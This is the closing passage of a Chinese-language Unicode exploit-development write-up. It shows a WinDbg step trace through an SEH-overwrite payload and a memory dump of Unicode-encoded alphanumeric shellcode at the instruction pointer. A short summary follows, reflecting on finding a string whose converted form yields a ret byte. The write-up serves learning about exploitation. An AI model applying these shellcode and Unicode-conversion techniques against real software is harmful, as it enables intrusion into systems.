[esi],ch ds:0023:0012d999=79 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc2 esp=0012d908 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82 0012fdc2 50 push eax 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc3 esp=0012d904 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82 0012fdc3 006e00 add byte ptr [esi],ch ds:0023:0012d999=ab 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc6 esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286 0012fdc6 7200 jb 0012fdc8 [br=0] 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012fdc8 esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286 0012fdc8 c3 ret 0:000> t eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0 eip=0012dee0 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286 0012dee0 50 push eax
0:000> d eip 0012dee0 50 00 50 00 59 00 41 00-49 00 41 00 49 00 41 00 P.P.Y.A.I.A.I.A. 0012def0 49 00 41 00 49 00 41 00-51 00 41 00 54 00 41 00 I.A.I.A.Q.A.T.A. 0012df00 58 00 41 00 5a 00 41 00-50 00 41 00 33 00 51 00 X.A.Z.A.P.A.3.Q. 0012df10 41 00 44 00 41 00 5a 00-41 00 42 00 41 00 52 00 A.D.A.Z.A.B.A.R. 0012df20 41 00 4c 00 41 00 59 00-41 00 49 00 41 00 51 00 A.L.A.Y.A.I.A.Q. 0012df30 41 00 49 00 41 00 51 00-41 00 50 00 41 00 35 00 A.I.A.Q.A.P.A.5. 0012df40 41 00 41 00 41 00 50 00-41 00 5a 00 31 00 41 00 A.A.A.P.A.Z.1.A. 0012df50 49 00 31 00 41 00 49 00-41 00 49 00 41 00 4a 00 I.1.A.I.A.I.A.J.
四、小结
一路通过假设并通过实验来验证,我们最终达到了自己的要求。回过头来,我们也发现其实技术含量并不高,无非通过构造字符串来试探,可是,调试风雨路上何处不是试探呢?
做完这个之后,我一直想搞清楚Unicode转换在本漏洞软件中到底是如何转换的,并想把机制讲清楚,可是通过对strcpy()、wcscpy等拷贝函数设断都没有断下拷贝的过程(应该是通过拷贝来覆盖SEH吧?)。以便上升到理论的高度,可惜到目前为止,仍然没有结果。希望有兴趣的朋友可以和我一起讨论。
不管如何,我们毕竟找到了一个字符串,通过转换后生成的Unicode字符包含C3(Retn跳转指令)。这也算是成功吧,大雪天聊以慰藉!
欢迎继续关注MultiByteToWideChar()在中文系统中的奥秘,同时继续为Unicode Exploit开发做出自己的一份贡献。再次,感谢泉哥的帮助和指导!